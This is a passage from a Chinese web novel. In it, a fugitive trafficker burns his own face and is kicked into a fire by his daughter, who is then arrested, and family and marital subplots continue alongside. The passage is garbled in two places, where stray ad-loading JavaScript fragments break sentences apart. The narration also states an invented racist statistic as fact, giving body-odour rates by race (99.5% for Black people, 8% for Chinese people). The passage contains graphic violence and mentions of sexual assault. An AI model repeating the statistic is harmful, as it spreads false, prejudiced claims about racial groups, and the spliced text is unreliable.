“嗯,有招待所,也有旅馆。看他自己吧,钱我出了。”周子琰吃完了,把吴旭东的那一份收起来。 几天后,北京那边传来消息,在审讯专家的心理攻势下,商惊鸿招了。 黑胡子真名:薛守仁。 真是个充满讽刺意味的名字。 仁,这种品质,跟他完全南辕北辙。 祖籍山西,无业游民。 他有很多女人,但大多数都是被强迫的,只有商惊鸿是自愿的。 “自愿的?”周子琰不理解。 电话那头传来安正则的声音:“很难理解吧?这个畜牲年轻的时候会写几首酸诗,商惊鸿看上他的才华了,一头扎进去,不惜为爱私奔。其实哪里是什么才华,就是哄骗小姑娘的手段。那些酸诗我都看过了,狗屁不通。” “……”周子琰无话可说。 安正则补充道:“现在已经对他发起了全国通缉,上新闻了,你和孩子都要小心,以免他狗急跳墙,打击报复。毕竟商家离你们不远,真到了走投无路的时候,他很有可能去找商惊雷借钱的。搞不好还会对别的孩子下手。千万小心。” “知道了哥,谢谢你。” “客气什么,过两天回去看你和阿澈。” “好,代我问嫂子好。” “一定。” 周子琰挂了电话,抬头看向正在给阿澈拍爽身粉的吴旭东:“我开了免提,你都听到了吧?” “听到了。”吴旭东忙得很,小丫头长胖了,劲儿也比刚出生的时候大多了,换个尿布小脚丫子到处乱蹬,差点蹬他脸上来。 他哭笑不得,怪模怪样的,软趴趴的威胁道:“再蹬,再瞪爸爸咬人了!” “咯咯咯……”小丫头一点也怕,笑得格外欢实。 声音奶奶的,又脆脆的,像是刚炒熟的豆子,嘎嘣一口,那叫一个酥爽香脆。 吴旭东心情大好,刚准备给小丫头套上衣服,这家伙又踹了他一脚。 跟挑衅似的,雄赳赳气昂昂的看着爸爸:“啊!” 有本事真咬啊! 没本事,舍不得!阿澈爸爸投降:“阿澈妈妈!你管管你女儿,她欺负我!” “哈哈哈,我才不管。有本事你也蹬回去!”周子琰把这段正好录下来了,百看不厌。 吴旭东一脸哀怨:“好哇,你们母女俩都欺负我,我要造反了!” 说着就把孩子放在床上,勾住老婆的腰,欺负欺负。 不过特殊时期,也不好真做什么,亲亲抱抱也就罢了。 一旁的小阿澈瞪着水汪汪的眼睛控诉这对老不羞:“啊!” 我都看到啦! 爸爸妈妈亲亲啦,羞羞羞! “哈哈哈!”吴旭东心情美得很! 趁着小家伙在说鸟语,赶紧给大哥打个电话:“来,阿澈,跟大伯打招呼。” “啊!” “哈哈哈,小阿澈,想大伯了吗?” “啊!” “小阿澈乖哦,大伯抓坏蛋呢,过几天回去给你带玩具。” “啊!” 吴旭东指了指孩子,出去跟大哥说。 “哥你还好吧?” “很好啊,你放心,我又不是三岁小孩。再说了,都已经全国通缉了,他的特征又那么明显,跑不掉的。” “话是这么说——” “别废话,照顾好你老婆孩子,就这样。我还要收药材呢!”汤正阳挂断了电话。 他撒谎了。 两个小时前,他从疍户那里得到消息。 疍户的女儿,看到她同学被人绑架了。 同学叫什么? 秋瑶。 汤正阳一听就猜到是黑胡子来了。 毕竟秋瑶的后爸有钱。 绑了秋瑶,可以逼着煤老板帮他联系蛇头出境。 这似乎是黑胡子唯一的路。 黑胡子也不担心煤老板不妥协,毕竟煤老板跟那个女人还有一双儿女在山西老家。 只要煤老板不想让儿女失去妈妈,就一定会帮忙的。 再说了,他绑架的也不是煤老板的女儿,煤老板不会恨他的,顶多是花钱消灾,买个家和万事兴。 汤正阳赶紧打开车上的广播,往城外开去。 很快,广播里响起警方通报,有一个亡命之徒正往广西方向潜逃,希望广大群众举报线索。 劫匪特征是…… 汤正阳赶紧让保镖调头:“沿着去往广西的公路追!” 当天夜里,警察将黑胡子和秋瑶一起堵在了两广交界处的一个山包包里。 地势复杂,警察不敢冒进,只得打开扩音器,不断劝降,同时向当地警察申请支援。 毕竟这里地形不熟。 汤正阳的车子远远的停下,他犹豫了半天,没有靠近,生怕警 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 察赶他走。 他想第一时间看到黑胡子被抓的画面,拍下来,寄给弟弟——看,大仇得报,人贩子伏法了。 山洞里,黑胡子正在生火。 秋瑶被麻绳捆着,挣脱不得,只好不断辱骂他,让他放自己走。 黑胡子冷笑道:“放你走?你当我傻?我敢抢你们老师的车子,就没想让你再回去。只要我带着你,你那个爸爸就会给我钱,我会放着摇钱树和保命符走吗?” “你就是个畜生,畜生!”秋瑶疯狂的挣扎起来,“你会毁了我的!你这个禽兽!” “少废话,你又不是头一天知道我是个畜生。知道我是畜生,你也不去报警,你就是个十足的小畜生。既然是小畜生,那就别喊冤。”黑胡子点燃了火堆,拿起一个铁丝在火上炙烤。 烤得通红,这才拿起一面镜子,对着自己的黑痣咬牙烫了上去。 滋啦啦黑烟冒起,那刺鼻的焦糊味儿,让秋瑶恶心得想吐。 秋瑶看着他那肮脏丑陋的背影,不由得生出一股歹念。 他在烫脸上的黑痣,想毁掉他的相貌特征。 可是他的眼睛鼻子嘴呢? 这些怎么办? 于是她强迫自己冷静下来,怂恿道:“一个黑痣没了不算什么的,你的照片已经上电视了,谁都认得出来。你要是真想跑,就在脸上多烫几个洞,血糊拉拉的才能彻底躲开别人的注意。” “这倒是个办法。不愧是我的种。”黑胡子乐了。 打开登山包,拿出一瓶烧酒,猛灌半瓶,麻醉一下神经。 随后找了个剃须刀出来,对着火堆炙烤。 等到刀头火红一片,他便咬咬牙,对准自己的脸颊贴了上去。 没想到,闭上眼睛的瞬间,早就蓄势待发的秋瑶猛地挣扎起身,虽然双臂被捆在后面不好动手,双腿也被捆了几道绳子只能蹦蹦跳跳,可是这不影响她的膝盖和小腿。 她跌倒在地上,屈腿对着黑胡子踹了上去。 正对着火堆的黑胡子,正在跟灼烧皮肉的痛苦做斗争,压根没有注意到身后的动静。 等他回过神来的时候,整个人已经扑倒在火堆上了。 惨叫声响彻整个山谷,黑胡子几乎是闭着眼睛冲了出去。 可是没用。 山谷里草木旺盛,走到哪里都找不到水源。 围捕的警察们很快发现一个火人冲了出来。 尖叫着,翻滚着,挣扎着,扭曲着…… 出于人道主义精神,警察们赶紧冲上去帮忙。 可是太晚了。 黑胡子脚下一个踩空,掉进了一个深邃的地下洞穴里面。 警察们只能先把山里的火扑灭。 还好这里草木青葱,不是那么好烧的,只有几丛枯草着了起来。 几下就解决了。 带队的刑警队长趴在洞口往下看:“死了,不喊了,还在烧。” “怎么办?想办法下去吗?” “不行,下去了上不来怎么办?等支援。” 半个小时后,支援赶到,可是他们也没想到劫匪会掉下地洞里面啊。 只能安排一个小队回去找消防过来,带着专业设备。 一直折腾到了第二天上午,才把烧成焦尸的黑胡子捞了上来。 汤正阳没走,凑过来想拍照,叫警察给拦住了。 “同志,这里是凶案现场,请回避。” “警察同志,被他绑架的女学生呢?那是我弟弟的朋友,我是来帮忙找人的。” “没找着,可能躲起来了。” “哦,好的,谢谢。” 汤正阳说话的功夫,身后的保镖已经拍完了照片,转身走人。 吴旭东收到消息的时候,还挺意外的。 “他被烧死了?” “对,也不知道在山洞里发生了什么,总之他冲出来的时候已经是个火球了。至于秋瑶,下落不明。我估计她是回不去学校了,弄不好要去找子琛,你最好看着点子琛,别让他犯傻。” “放心吧哥,我有数。”吴旭东挂断电话,怔怔的看着周子琰。 周子琰都听到了,赶紧起身,抱了抱他:“老天有眼,死得这么痛苦,也算是罪有应得了。” “可是我好想亲手杀了他,我是不是很可怕?”吴旭东跌坐在床上,不明白这种失落感从何而来。 大概是没能手刃仇人。 周子琰劝道:“换个角度想,他大概率是被秋瑶弄死的。你说他一辈子作奸犯科,最后死在了自己女儿手上,是不是挺解恨的?” “是啊,活活烧死的,真好。”吴旭东静静的抱着她,过了一会儿,提醒道,“我去看看子琛。” 同一时间,周子琛的电脑传来了邮件的提示音。 打开一看,果然是秋瑶约他见面。 明天上午九点。 地点就在上次那家咖啡馆。 77. 巧合 说实在的,周子琛这辈子都不想再见到这个女人了。 一个利用他同情心的满嘴谎话的骗子,他躲都来不及躲。 再说了,她不是被黑胡子绑架了吗,跑过来找他做什么? 他狐疑地看向门口的吴旭东:“秋瑶想跟我见面。” “可能是想找你借钱,或者找你帮忙让她躲一躲。”吴旭东靠在门框上,把后来发生的事情说了说。 周子琛沉思片刻:“那我去见见她吧,通知警方,把她抓起来。至于黑胡子到底是不是她杀的,警方应该会找到证据的。” 第二天,周子琛准时赴约。 警察提前埋伏在周围,静等猎物上门。 秋瑶迟到了半个小时。 她穿着白色的长袖衬衫,碎花百褶裙,长发不知道为什么剪了,看起来清纯多了。 天气很热,她却把扣子扣得死死的,不肯露出自己的手腕。 她的嘴角噙着一抹暧昧的笑,看向周子琛的眼神充满爱意。 好像一个情窦初开的天真少女。 可惜周子琛不会再信她了。 不过警察提醒过他,要他尽量哄着点秋瑶,聊会天,看看能不能套出什么有用的情报。 所以,他故意咳嗽了两声。 秋瑶赶紧问道:“你感冒好了吗?” “好了,谢谢。” 秋瑶有些意外:“天哪,你的声音真好听。” “没有吧,我姐夫的声音更好听。”周子琛现在听她说什么都觉得恶心,更何况,她有可能是来骗钱的。 就算他的声音真的很好听,他也不想接这个话。 秋瑶好奇:“你还有姐夫?” “你不热吗?袖子扣那么紧。”周子琛岔开了话题。 秋瑶故作犹豫,还是解开了袖子:“受伤了,不想让你担心。” 被火焰灼烧过的皮肤,呈现着触目惊心的红。 当时她为了逃跑,只能忍着痛,在火上燎开了绳索。 虽然上了药,也还是狰狞得很。 周子琛蹙眉:“你这是怎么了?” “被我爸烫的。他想伤害我妈妈,我为了保护妈妈,被他烫伤了。”秋瑶委屈得很,说话的时候,眼睛都红了。 这楚楚可怜的样子,谁见了不心疼? 如果不是周子琛提前知道她妈妈跟这件事没关系,他真的会被她骗到的。 他深吸一口气,尽量平静的说道:“那你报案了没有?” “报案有什么用,家庭纠纷而已。”秋瑶可怜巴巴地落下泪来,“他上次来找我妈,把家里的钱全部抢走了,这次又来。我妈一分钱也拿不出来了,就被他打得浑身是血,进了医院。现在我妈骨折,要手术,我实在是走投无路了,只能到处找亲戚朋友借钱。” 得,果然是编故事骗钱来了。 周子琛原本听说她被黑胡子绑架了,还有点同情她。 可是现在,他心里最后的一点怜悯也被她消耗没了。 警察交代的事情他是办不到了,这么一个女人,他实在没本事套出什么情报。 只好把手背在身后,对窗外埋伏的警察比划了一下。 秋瑶正准备再形容一下妈妈的可怜和自己的无助,便看到几个人闯了进来,直奔她的位置。 没等她反应过来,一副冰凉的手铐便套在了她的手腕上。 灼烧的伤口传来撕心裂肺的痛,她哭着喊着,说自己冤枉,说自己疼。 警察到底是人,不是铁打的,看清楚她溃烂的皮肤后,赶紧松开了手铐,改为摁着她的肩膀,将她带上了警车。 周子琛犹豫片刻,还是演戏演全,冲出去问警察出什么事了。 警察配合着解释了两句,这才走了。 可是车上的秋瑶已经陷入了怀疑,她不断的质问身边的警察:“你们怎么知道我在这里,是不是周子琛告诉你们的?我又没有犯法,凭什么抓我!” “凭你涉嫌故意杀人。你也别冤枉别人,我们是警察,追踪凶手是我们的职责。” 秋瑶不信,一定是周子琛,一定是的,可恶的周子琛! 不过现在不是说这个的时候,她嚷道:“我要找律师,我要联系我爸妈,我是冤枉的,冤枉的!” 警察懒得再啰嗦,呼啸的警笛声中,把她带去了拘留所。 周子琛回到家里的时候,整个人都虚脱了。 一头扑在床上,拿抱枕闷住自己的脸,难受得连午饭都不想吃。 他发起了高烧,吴旭东忙前忙后的照顾着。 两天后退烧,周子琛第一时间问道:“案子怎么样了?能不能让那个女人坐牢?” “警察根据山洞里的痕迹判断,黑胡子是被秋瑶踹到火堆里去的,不过秋瑶的律师准备给她做正当防卫的辩护,她后爸又有钱,请的是北京最好的律师到广州帮忙,我也说不准会不会判刑。”吴旭东把今天的药放下,“先吃药吧,巩固一下。” “是我犯傻了,我当时太生气了,只想让警察赶紧把她带走。其实我应该让她骗我的,骗个十万八万的,再送她进去。这样就算损失点钱,起码她是可以进去的!”周子琛后悔不已。 吴旭东提议道:“她妹妹不是恨她入骨吗?要不你问问她妹妹愿不愿意劝劝那个煤老板,换个一般的律师。” “我试试。”周子琛振作起来,打开了电脑。 居然有好多未读的邮件。 【秋璃】:听说我姐姐是去见你的时候被抓的?是你跟警察透露的线索? 【秋璃】:你可真行啊,我还担心你被她骗呢。 【秋璃】:气死我了,我妈又为了她一哭二闹三上吊,逼着我爸花大价钱请了最好的律师。怎么这么恶心呢,我还以为她这次终于可以坐牢了。 【秋璃】:你怎么不说话?是不是被她的无耻气到了?心疼你。 【秋璃】:我姐果然不承认黑胡子是她弄死的,真是无耻!我真的不懂,我妈是不是脑子有水,这种自私的女儿将来会孝顺她吗?别做梦了。真是离谱。 【秋璃】:我请假了,我去找我爸,他要是不换律师,我就死给他看!我可不想再被这个姐姐拖累下去了。你会不会觉得我很无情,对自己的亲姐姐居然这样冷血。可是她那个死畜生爸爸差点侵犯我哎!我妈为了她连这都忍了,我要是不送她进去,我就白受这些委屈了! 【秋璃】:我回来了。我爸答应了,代价是我在酒店里割腕了,吓死他了。这些年他一再跟我妈妥协,为的就是我和我哥不能没有妈妈,现在好了,我以死相逼,他终于妥协了。 周子琛松了口气。 回道:“你很棒,能够大义灭亲的人很少很少,你坚持了心中的正义,避免了其他人被你姐姐骗,你真是个勇敢的女孩子。” 秋璃笑了,回道:“谢谢夸奖。那我放心了,我去上学了,请了好几天假,老师都着急了。” “好好学,考个名牌大学。” 两天后,果然传来更换辩护律师的消息。 不过开庭还早,要等三个月之后。 * 黑胡子的事情告一段落,汤正阳终于有空找小姨问问谈家那边的女性亲眷了。 “符合要求的有两个。”他从小姨那边回来,第一时间把消息传达给吴旭东。 吴旭东还是知道谈家有哪些亲戚的,搜肠刮肚也没找到符合条件的,不免好奇:“谁啊。” “咱有个舅姥爷,比较风流,婚前有一对双胞胎私生女,送养了。为了不让舅姥姥知道,这两个孩子的身世一直瞒着,只有几个人清楚。”汤正阳拿出来一张照片,“这是双生女里的姐姐,叫白静姗,混得不错,是个机关干部,夫家在青岛那边。目前她已经退休了,在家里含饴弄孙。她的养父母有个侄孙女儿,叫白欣,就是你们六号楼的那个白欣。” “这么巧?”吴旭东惊讶不已,接过照片看了看,果然,这个老阿姨一看就是那种养尊处优的。 而且一脸正气,不像是能看上吴家栋的。 “妹妹的照片呢?”吴旭东好奇。 “妹妹混得不好,跟小姨他们没有联系。”汤正阳摇头,“我的重点怀疑对象就是她。目前我已经让大姑去帮忙打听了,看看北京那边有没有动静。” “两姐妹是分开送养的?” “对,妹妹的养父母一开始在北京,后来出了事,就全家搬到乡下去了。” “哥,那你千万小心。”吴旭东很担心,他身上的谜团解决了,就剩大哥了。 越接近真相,越是危险,何况北京那边还有吴家栋的不少亲人。 大哥独自一人,他不放心。 汤正阳拍拍他的肩膀:“别怕,有钱能使鬼推磨,反正你蕾蕾姐忙,目前还不能跟我结婚,我先把重心放在北京那边,顺便做做生意赚赚钱,不是挺好的。再说了,周叔给我介绍了几个身手了得的退伍军人做保镖,进出随行,不会有事的。而且大姑这人挺热心的,会照顾一二的,放心。” “好,有消息及时跟我说。”吴旭东松了口气。 真好,坎坷磨难终将消失,光明的坦途等着他们兄弟。 他把四合院的钥匙交给大哥,免得他还要住酒店。 一晃,周子琰出月子了。 满月酒在自家酒店办的,异常热闹。 谁让小阿澈面子大呢,天南地北的亲眷,只要是能赶回来的都来了。 周子琰沾女儿的光,见到了久违的五舅舅和五舅妈。 五舅妈早年很不幸,因为生得好看,在支边的时候被人侵犯了。 又羞于启齿,只得用土方子打胎,伤了身子。 后来是她妈妈和小舅帮忙,才给五舅妈调理好了身体,生下了一堆双胞胎儿子。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >改开之后,两口子都去国外发展了,两个儿子也一起去了国外上学。 “真是对不住啊子琰,你生孩子的时候,赶上飓风袭击,航班全都停了。还好这次一切顺利。”五舅妈溪云惭愧不已。 岁月老去,风韵犹存。 安五湖笑着递上礼物和红包:“这是你竺奶奶找的华侨老银匠,亲自设计打造的长命锁,只此一款,限量版。” “替小阿澈谢谢舅姥姥舅姥爷啦!”周子琰把金锁挂在闺女脖子上,哭笑不得。 没办法,大家想的都是送金锁,所以这小妮子的脖子上已经挂满了。 金灿灿的,抱起来的时候叮铃咣当的,格外喜气。 溪云喜欢得不行,赶紧把孩子抱在怀里看看:“我这辈子最大的遗憾就是没能生个女儿。可惜这年头只能生一个,要不然真想抢走不给你了,让你再生一个去。” 周子琰乐了:“急什么,等安泰安顺成家了,你还愁抱不到孙女儿?” “那得什么时候,还是眼前现成的招人喜欢。”溪云抱着小阿澈不肯撒手了,多可爱的粉团子。 真好。 正乐着,孩子被安九州抢走了:“五哥五嫂,你们今天必须罚酒啊!子琰生孩子你们居然没来,罚,加倍罚。” 安五湖笑着应道:“好,不醉不归。” 酒过三巡,安五湖看向了旁边桌子前沉默不语的外甥:“子琛今天是怎么了?一句话也不说。” 毕竟他在国外,消息滞后。 老安过来陪哥哥说话,看了眼对面的儿子,小声道:“失恋了,对方还是个美女骗子,可得伤心一阵子呢。” 安五湖赶紧问了问,不禁笑了:“咱老安家的孩子,都是情种。要不让他出国念几年书吧,看看外面的世界,说不定还能有美丽的邂逅。” “我倒是没意见,不知道他自己怎么想。”老安犹豫了一下,还是把儿子叫了过来,“子琛,要跟你五舅去法国吗?” “不去,我要跟我姐去岛上散散心。”周子琛拒绝。 他不喜欢老外,一身狐臭味。 据统计,黑人的狐臭概率最高,99.5%,白人90%,亚洲人最低,只有10%左右,而他最爱的中国,只有8%。 他很心疼自己的鼻子,他可不想整天被熏得七荤八素的。 无奈,老安只好跟五哥笑笑:“那算了,孩子大了,有自己的想法,说不定什么时候自己就想去了。” 满月酒结束,周子琰便住回了岛上,免得秋瑶狗屎运好,万一真的无罪释放,又来纠缠子琛。 大院里的女兵们听说周子琰回来了,没吃晚饭就来看她。 人群中,周子琰特地注意了一下白欣。 这个女人话不是很多,面带微笑,看起来还是挺好相处的。 加上她有个三岁的女儿,所以周子琰特地喊了她一声:“白欣,宝珠呢?” “跟她爸爸抱小狗去了。”白欣往周子琰身边走了走,她看看襁褓里的孩子,不禁夸道,“小宝贝真好看。等明年这时候宝珠就有妹妹一起玩了。” “宝珠明年该上幼儿园了吧?”明年可就虚岁五岁了。 白欣点点头:“该上了,我家铁勺也能轻松一点。对了,你上环了吗?没上的话,估计计生组会来找你的。” “你们周姐不用上。”吴旭东刚在厨房切水果,他端着果盆出来,笑道,“我结扎了,计生组那边已经登记过了。不会来找你们周姐麻烦的。” “天哪,姐夫这么好吗!”刘敏杰惊讶不已,“可是姐夫,听说男人结扎了会不太好,你不担心吗?” “那都是谣传,要相信科学。”吴旭东放下果盘,去阳台晾晒尿布。 这居家好男人的样子,让大家羡慕不已。 回到自己家里,各自质问自家男人去了。 吴旭东哪里想到自己随口一说就惹得几个男人恨上他了,第二天在走廊碰到,阴阳怪气的。 吴旭东也没有放在心上。 孙谦跟着他去了菜场,路上嘀嘀咕咕:“你这人真是的,你想结扎别拉别人下水行不行?冯薇跟我闹了一晚上,要我结扎!我要是以后不行了,都是你害的!” 吴旭东反问:“有没有可能,是你本来就不太行?” 孙谦气得直瞪眼。 刚打算反驳,便看到了神色憔悴的云朵,只得噤声。 * 北京,苍老的女人不安的看着面前的吴家栋。 “你怎么又找我啊?能不能别再害我了?” “我刚听说,你姐的侄女儿跟吴旭东在一栋楼里住着,吴国美会不会顺着这条线查到你跟我的事?” “我怎么知道?” “你做点什么啊!黑胡子死了!当年那个小子摔下山崖居然没死,听说他最近在北京非常活跃,到处交朋友拉关系,他肯定是来复仇的!” 78. 深爱(二更) 云朵这阵子日子难熬。 她怎么也没想到,在曲柚柚的竭力挑唆之下,让胡鹏飞知道了她的前任就是孙谦。 其实她跟孙谦早就不可能了,可是前阵子她天天往六号楼跑,胡鹏飞自然怀疑她对孙谦余情未了。 两人闹了一个月的离婚,到现在还没有结果。 这会儿见到孙谦,她也懒得打招呼,只跟吴旭东点点头便走开了。 吴旭东并不可怜这两个人,自顾自买了菜,回家去。 孙谦赶紧跟上,问道:“你跟我说实话,结扎真的没有影响吗?还是你死鸭子嘴硬?” “你有病吧?”吴旭东烦了,“结扎就结扎,大老爷们这点牺牲都不舍得做,凭什么让女人给你生孩子?凭什么生了还得跟男人姓?” 孙谦服了,小声道:“我这不是怕影响夫妻生活吗?我听不少人说,结扎了之后只能吃伟哥,也不能做体力活,一做就腰疼。” 吴旭东气得戳他额头:“孙谦啊孙谦,你可是大学生,理工科的大学生!你这四年大学念到狗肚子里去了?” 孙谦赶紧躲开,怨怪道:“那你也不能当着那么多人的面说你结扎了,你这不是害我们吗?” 吴旭东恼了,直接开骂:“神经病,那你就要害你老婆上环结扎?知不知道那东西会让女人肚子酸胀疼痛难忍?知不知道有的人会长到肉上,取出来的时候血肉模糊的?有点人性吧,女人也是人。你不心疼你老婆是你的事,别来挑唆别人,滚!” 孙谦还想说点什么,直接被吴旭东搡开了。 气得孙谦炒菜的时候没注意,倒了半袋子盐。 只能倒了重新炒。 吴旭东那边则顺利多了,孩子有周子琛陪着,周子琰出了月子,还在休假,所以没事就看看书,写写笔记什么的。 吴旭东可以专心做饭。 周子琛一向懒惰,哪里肯照顾别人。 但是小阿澈面子大,舅舅居然不辞劳苦,画了几页绘本故事,正声情并茂的读给她听。 虽然她还听不懂,但是句句有回应。 不同的情绪,不同的声调。 同样是一个“啊”,有的短促有力,像是惊喜万分,有的声调扬上去,像在表达困惑。 把周子琛乐得什么似的,就连被骗的阴影也很快淡去。 正吃着饭,云朵哭着跑了过来:“周姐,胡鹏飞不想跟我过了,你帮我想想办法吧。” 周子琰不想多事,可是云朵哭得这么梨花带雨的…… 她先了解一下情况:“你跟他道歉没有?” “道了。” “你婚前真的没有瞒着他吧?” “没有,他只是不知道那人是孙谦。” “流产手术真是他陪你去做的?” “嗯。” “这个男人还是挺好的,起码他一开始跟你在一起的时候是真心的。是你自己不好呀,让他以为你三心二意。就算我去劝,他也有话堵我的嘴,我又能帮你什么忙呢?” “那怎么办?我不想离。” “那你是因为害怕丢人不想离,还是真的在乎他这个人不想离呢?” “当然是在乎他,他之前对我很好的。” “那就做出改变,让他看到你的诚意。既然他一开始可以接受你的过去,说明他介意的不是孙谦,而是你一直往这边跑,让他对自己的选择产生了怀疑。你要往这个方向努力,明白了吗?” “可以给我一点提示吗?” “比如他喜欢什么你清楚吗?可以给他一点小惊喜啊小浪漫啊,让他看到你是真的在乎他的。这需要一点时间,只要你能坚持下去,会好的。” “我试试。” 云朵走的时候,吴旭东多了句嘴:“闹了一个月,他有没有打离婚报告?” “还没有。” 吴旭东有数了:“那说明他只是咽不下这口气,不是真的要离婚。你现在不要逼着他做决定,你只要默默去做就行了。” 几天后,胡鹏飞跑过来找吴旭东:“你和周姐对云朵说了什么?她这几天像是变了个人。” “变好了,还是变得更糟了?”吴旭东正在院子里给孩子晾尿布。 胡鹏飞红着脸:“变好了。” 好得离谱,有求必应的那种。 而且嘴巴也变甜了,夜里那啥的时候会夸他,夸得他越战越勇,都不好意思了。 吴旭东乐了:“那不就得了,你别管我们说了什么,好好回去过日子吧。” “这是我给小阿澈买的拨浪鼓,我也不知道她喜不喜欢。总之,谢谢你啊!婚姻不是儿戏,我现在冷静下来了,也不想离。”胡鹏飞低着头,还想帮忙晾尿布。 叫吴旭东给拒绝了:“不用,我自己来,拨浪鼓我收下了。赶紧去忙你的吧。” “谢谢姐夫,你真是个大好人。周姐有你真是福气,我跟云朵也努努力早点生个孩子,跟你家小阿澈做伴儿。”胡鹏飞抑郁了一个多月的心情,总算是放晴了。 吴旭东笑笑:“快去吧。” 自此,吴旭东不知道触发了什么开关,别的楼里的夫妻闹矛盾,总爱来找他调解。 俨然成了一个婚姻顾问。 每次调解好了,总能收到一些金额不大的赠礼。 于是小阿澈的礼物肉眼可见的增长起来,很快堆满了一个大箱子。 周子琰结束产假的时候,云朵那边也传来了好消息,有了。 在妇产科做检查的时候,她跟冯薇碰上了。 两人客气的点点头,当做无事发生,一起在候诊区等着。 “几个月了?”冯薇平静的问道。 云朵笑笑:“刚怀上,一个月左右吧。” “那你家孩子上学要比我家的晚一年。” “嗯。” “想好叫什么了吗?” “女孩叫胡甜甜,男孩叫胡帅帅。” “哈哈哈,这名字真逗。” “你家呢?” “不管男孩女孩,都叫冯天宝。” “上天赐予的宝贝吗?挺好的。” “嗯,孙谦不高兴,不肯让孩子跟我姓,叫我臭骂一顿,不敢哼哼了。” “哈哈,他也有今天。” “其实他人还是可以的,任劳任怨的做家务,就是有些观念老土,慢慢改造吧。” “嗯,他带孩子你也可以放心,他毕竟是大学生,不像我家老胡,文化水平不高。” “可你是大学生啊,你家反正是你带的多。” “也对。不过孩子跟你姓,孙谦爸妈没意见吗?” “有也不怕,大不了离婚,我的孩子,我吃苦受罪生的,凭什么不跟我姓?” “你真勇敢。” 冯薇笑笑,勇敢什么呀,不过是懒得再折腾了。 她们这些部队的女人,找个伴侣不容易。 所以她睁只眼闭只眼,暂时不想跟孙谦啰嗦了。 但她心里还是咽不下这口气的。 所以孩子的姓,她必须争取过来。 也算是一种报复吧。 如果孙谦家里不接受,那就离婚。 反正孩子肯定判给她,跟她姓天经地义。 云朵哪里想到这些,还以为冯薇真的跟孙谦和好了。 孙谦自己当然也不知道,冯薇已经存了去父留子的心思。 只想着先哄冯薇生下孩子,到时候月子里发动全家来劝说冯薇,让孩子跟他姓。 * 年关将至。 秋瑶的案子终于开庭了,最终定性为防卫过当致人死亡。 “这种一般会按故意杀人来判,但因为是防卫过当,所以会减刑或者免除刑罚。年底了,法院案子堆积太多,暂时不会宣判,要等明年。”汤正阳从疍户那里得到了一手消息。 吴旭东恍然:“那就是说,还是有可能不坐牢的。” “不,我问过律师了,如果是一击毙命的死亡,大概率会从轻发落,可是黑胡子是被活活烧死的,秋瑶的手段相当残忍,所以这案子大概会判十年左右。”汤正阳都打听清楚了。 量刑也是要参考行凶的手段的。 比如挣扎的时候不小心推了一把,对方后脑勺着地,被钉子扎死了,这种大概率没事。 但是黑胡子的死,不属于这个类别。 吴旭东放心了:“北京那边怎么说,找到那个女人了吗?” “找到了,吴家栋的来访记录里面,出现了一个叫赵红梅的女人,一共三次。年龄身份全部符合,只不过她住在农村,我废了好一番功夫才找到。”汤正阳说话的时候,正在赵红梅的家里。 这个女人看到他直接吓晕过去了。 显然是心虚。 这会儿他手底下的保镖正在给她掐人中,怕她直接死了,那当年的真相就要成悬案了。 正说着话,他注意到了一个鬼鬼祟祟的男人,刚到家门口,看到他便吓得扭头就跑。 汤正阳赶紧叫上保镖去追,留下一个保镖在院子里看着赵红梅。 没想到乡下地形复杂,追了半天,汤正阳跟保镖一起在山里迷了路。 绕了半天,又回到了原点,几次三番,都是这样。 就连大哥大也没了信号。 天黑的时候,天上下起了鹅毛大雪,汤正阳只得跟保镖们退回山包里面,找了个洞穴躲了进去。 “老板,搞不好咱们是遇上鬼打墙了。”一个身材精瘦的云南老兵说道。 汤正阳狐疑:“鬼打墙?” “对,一路上过来好多坟包,那个男人是故意把咱们引过来的。” 汤正阳陷入了沉默。 糟了,八舅给他的桃木剑和护心镜他没带,落安小蕾那儿了。 要是带了,恐怕会顺利一些。 一群人只得看着洞外的连天白雪发愁。 等明天天亮了再说吧。 同一时间,正准备睡觉的吴旭东收到了八舅的电话。 劈头盖脸就是一顿训:“我真是上辈子欠你们的!上次回去已经千叮万嘱,让你大哥带着我送的东西,不听,不听,就是不听!这下好了!大凶!” 吴旭东一头雾水:“八舅,你说什么我怎么听不懂呢?大哥怎么会大凶呢,他带了好些个保镖呢。” “你懂个屁!我这一联系你,又要折寿好几年,真是欠你们的!”安八荒虽然骂骂咧咧,但还是把信息全都指明了,“快点拿纸笔,记下这个地址,请这个牛鼻子老道陪你去救人!” 吴旭东赶紧照做。 电话刚挂断,留守院子的保镖便打了个电话过来:“吴总,汤总失踪了,到现在都没有回来。” “等我,我去救你们!”吴旭东问清楚对方的地址,赶紧出发。 先去附近旅馆把周子琛叫了过来:“去陪一会儿你姐姐和阿澈,我有急事,去一趟北京。等会我叫妈来换你回去睡觉。” “怎么了姐夫?”周子琛吓了一跳。 他为了躲秋瑶,一直没有回城里去。 吴旭东如此这般的说了说,吓得周子琛赶紧催他走。 后半夜,老安过来,周子琛不无担心的问道:“正阳大哥不会有事吧?二姐那边姐夫都没敢通知。” “瞒不住的,你八舅那个大嘴巴,一着急就什么都往外说,你二姐肯定知道了。”老安还是了解自己弟弟的。 关心则乱,在这个神棍身上体现得淋漓尽致。 果然,天亮时分,吴旭东刚下飞机,就看到了站在马路边吵架的安小蕾。 她坐的是另外一个航班,提前十五分钟落地。 正会儿正在跟出租车司机扯皮。 司机一听说要去乡下,全都以雪天难行为由,摇头拒载,气得她破口大骂。 市区明明雪很小啊! 要不然飞机能飞吗? 正着急呢,吴旭东来了。 吴旭东比她实在多了,直接砸钱。 那司机眼睛都直了,赶紧调头:“坐好了您嘞,走起!” 安小蕾看着他身边的陌生的男人,问道:“他是?” “八舅的朋友,喊他高叔就行。” “高叔好。”安小蕾客气的打量一番,果然跟八舅一样是个神棍。 精瘦精瘦,仙风道骨的。 车子越往乡下,风雪越大。 乡下的路又颠簸,一直到上午十点才赶到地方。 那留守的保镖鼻青脸肿的,一脸无奈:“那女人跑了,她男人带着一群村民,围殴我一个,我实在是没抗住,对不起啊吴总。” 吴旭东赶紧给他检查伤势:“还好我带了急救箱,快,我给你包扎一下。” 保镖便把他知道的都说了。 简而言之,这个赵红梅的男人在当地很有威望,说一不二的那种农村土皇帝。 两人除了早年“摔死”的儿子,还有三儿四女,儿女也都成了家,是个大家庭。 加上她男人还有一堆亲兄弟,叔伯兄弟,可以说,想跟这群人斗,不叫上几百号保镖过来,是没什么胜算的。 